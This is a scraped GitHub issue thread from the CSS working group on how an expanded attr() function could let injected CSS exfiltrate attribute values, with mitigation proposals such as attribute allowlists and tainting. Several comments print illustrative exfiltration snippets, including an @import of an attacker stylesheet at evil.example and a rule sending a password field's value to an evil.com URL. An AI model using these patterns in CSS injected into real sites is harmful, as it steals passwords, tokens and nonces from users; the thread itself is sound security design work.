[css-values] Security concerns regarding attr()

@mikewest

The CSS values spec basically says there's no security concerns:

This specification mostly just defines units that are common to CSS specifications, and which present no security concerns.

In the Blink Intent to Implement and Ship: Advanced attr() thread, multiple concerns have been raised that attr() can be used as a tool for data exfiltration of sensitive data like passwords, nonce, etc.

And it's a much easier-to-use weapon compared to attribute selectors, which has to exfiltrate attribute value character-by-character in an iterative/recursive manner.

Other than "try harder to block CSS injection", do we have other ideas to address the security concerns? For example, blacklisting certain attributes (e.g., nonce, value, etc.), or even whitelisting attributes allowed in attr() (as suggested by @mikewest here)?

See #2426 and #2339. TLDR: Third party CSS is not safe.

@mikewest

Please note that @mikewest explicitly referred to the known concerns about third-party CSS in the intent thread and explained how the proposed expansion in expressive power of attr() is qualitatively different in this message.

One specific problematic case are sites which allow user-controlled style= attributes with lightweight CSS sanitization. IIUC currently this doesn't allow any of the classic exfiltration vectors because:

In a style= attribute you cannot use CSS3 attribute selectors, @import or other at-rules.
Currently, attr() works only in the content property which is limited to ::before and ::after pseudoelements.

If attr() starts working in this case, it can make sites with this pattern vulnerable because it will allow untrusted CSS to access attributes values which otherwise wouldn't be exposed.

Note that this is just one example. Another consideration is the fact that many websites' Content Security Policy rules are more lax when it comes to permitting styles than scripts, so making CSS-based exfiltration of DOM contents easier will allow bypassing existing CSPs.

From a security perspective, I'd strongly favor allowlisting attributes permitted in attr() in order to mitigate these risks.

Above links are all 404 for me - the discussion appears to be the one at https://groups.google.com/a/chromium.org/forum/#!topic/blink-dev/FGCgsKmylhw

Currently, attr() works only in the content property which is limited to ::before and ::after pseudoelements.

It's not limited to ::before/::after. The spec for the content property says:

Applies to: all elements, tree-abiding pseudo-elements, and page margin boxes

It's not implemented for (non-pseudo) elements yet in any UAs as far as I know, but at least Gecko supports it on ::marker (and we intend to support it on all elements at some point).

I don't think that changes the security aspects though, since it would still be considered generated content; same as for pseudos.

@faceless2

Thanks, @faceless2 -- I updated the link in my reply above.

div {
    content: url(file.png);
}

is valid CSS, and already works on Gecko and Blink (the distinction is between "content-replacement" and "content-list" in the definition of the "content" property - the former (which maps to <image>) applies to all elements, not just pseudo-elements).

But as attr() on a pseudo-element resolves against the element anyway, I'm not sure it makes any difference in terms of risk.

div::before {
    content: url(attr(secret));
    content: attr(secret url);
}

are presumably the kind of cases causing concern in the original posts. Both should be valid according to the spec, but this syntax doesn't work in any browser yet.

As there's no ability to concatenate in CSS, these would become a relative URL resulting in a request to the server that supplied the HTML (or, perhaps, the stylesheet, depending on the outcome of #5079). So you couldn't send a request just anywhere.

Personally I've no opinions on what to do about this, other to say that attr(nnn url) for any nnn seems quite useful to me, and it would be a shame to lose it. And also that this should probably tip any resolution of #5079 towards the attribute being resolved against the origin of the HTML, not the origin of the CSS.

Does attr() return the attribute value as specified in static HTML or as set by dynamic JS?

@Crissov

@Crissov It's the attribute in the current DOM, which can come from original HTML source or set in JS. But e.g. if you change the value IDL attribute of an <input> element, the value DOM attribute will not reflect that change (it would for the defaultValue IDL attribute).

@arturjanc

Re @arturjanc

From a security perspective, I'd strongly favor allowlisting attributes permitted in attr() in order to mitigate these risks.

There's a compatibility concern, since attr() on pseudo-element content is already widely used, and there's no restriction to which attributes are allowed at all. From a github search result, the choice of attribute used in attr() seems arbitrary.

How about disallowing attr() on certain elements? For example, no attr() on form control elements, <script>, <style>, <link>, etc.

As there's no ability to concatenate in CSS, these would become a relative URL resulting in a request to the server that supplied the HTML (or, perhaps, the stylesheet, depending on the outcome of #5079). So you couldn't send a request just anywhere.

That's a great illustration of the security issue this feature runs into: currently, browsers (at least Chrome and Firefox) resolve relative URLs based on the location of the stylesheet, not the loading document. So any CSS injection could just use @import url(//evil.example) and then in the malicious stylesheet exfiltrate the contents of all attributes on the page via url(attr(secret)), which would send requests to evil.example/<attribute-value>.

Currently, attackers can still query against the contents of attributes with CSS3 selectors, but that's a single-bit information leak, requiring thousands of requests (and recursively adding new stylesheets to the page) to exfiltrate something like a CSRF token. This makes such attacks more difficult to conduct in practice, and makes them more time-consuming, increasing the chance that a user would navigate away from the page before the attacker can leak the secret. Giving attr() more capabilities as proposed here would allow direct exfiltration of all attribute values on a page with a single injected stylesheet, substantially increasing the security impact of CSS injections.

I don't think disallowing this on certain elements is sufficient, given the large amount of data modern applications have in data-* attributes, URLs, and attributes on custom elements. The only safe solution I can think of would be to allowlist attributes such as data-css-*; of course existing use of attr() in the content property could be exempt from that.

So I think #5079 should be resolved how Anne suggests, which would conveniently also remove the ability to exfiltrate arbitrary data to an arbitrary origin via attr(foo url). I think that, for now, brings us back to the existing status quo, and so should unblock the new attr() from shipping. (You can't write url(attr(...)) at all (it'll parse as a bad-url-token and make the property invalid, see the Syntax spec), so there's no concern there for any value currently.)

However, when we introduce a string concatenation function, and a url() variant that can take functions, then input[type=password]{background-image: fetch(concat("https://evil.com/data-stealing?pw=", attr(value string))); } will work and accomplish the same thing. And this exact use-case (not pw stealing; concating an attr and a url fragment to select an image) was brought up as one of the justifications for adding string concatenation, so this is unfortunate.

I think that, separately, we should pursue what Mike West suggested in the ItS thread, and block certain sensitive attributes from being visible to CSS at all - nonce, the value of any form input, etc. I'll open a different bug for that.

There's no way to pull an attribute value from an element other than the one you're styling, and I've been unable to apply any sort of style to <script> and <style> while testing - no matter what I did they remained as display:none, which means that generating content within them that contains an attribute value would be impossible even if attr() were fully implemented.

I presume this was by design, but I'm not sure where it's specified.

You can absolutely display script and style; you might be overlooking that head is display:none by default as well. ^_^

And "hide sensitive attributes from CSS entirely" is now #5136.

Ooh, okay, I was assuming that a per-token tainting was too complicated, but if instead it's easier, I'm definitely fine with that.

No, it is definitely substantially more complicated. (May vary between implementations).

However, per-value tainting means stuff will stop working just because you add indirection via a custom property:

background: image("bg.gif", attr(my-attr-green)); /* works */
--img: "bg.gif", attr(my-attr-green);
background: image(var(--img)); /* does not work */

at the moment, spec says entire value is tainted if any part has attr.

No, it doesn't. But there seems to be agreement that it does. Let's clarify the spec that way, then.

Edits checked in as 9fad470

[css-values] Total attr()-tainting for substitution values

[css-values] Total attr()-tainting for substitution values (#11218)

Bug 1906282 [wpt PR 47001] - Support new syntax of attr(), a=testonly

Bug 1997583 - Support partial tainting for attr()-tainted values. r=e…

Navigation Menu

Repository navigation

[css-values] Security concerns regarding attr() #5092

41 remaining items

Metadata

Assignees

Labels

Type

Projects

Milestone

Relationships

Development

📋 Server Request & Proxy Logs

⚙️ Pengaturan Proxy Target

[css-values] Security concerns regarding attr() #5092

Description

Activity

Loirooriol commented on May 20, 2020

arturjanc commented on May 20, 2020

faceless2 commented on May 20, 2020

MatsPalmgren commented on May 20, 2020

arturjanc commented on May 20, 2020

faceless2 commented on May 20, 2020

Crissov commented on May 20, 2020

Loirooriol commented on May 20, 2020

xiaochengh commented on May 20, 2020

arturjanc commented on May 29, 2020

tabatkins commented on May 29, 2020

faceless2 commented on May 29, 2020

tabatkins commented on May 29, 2020

tabatkins commented on May 29, 2020

41 remaining items

andruud commented on Sep 27, 2024

tabatkins commented on Oct 25, 2024

Metadata

Metadata

Assignees

Labels

Type

Projects

Milestone

Relationships

Development

Issue actions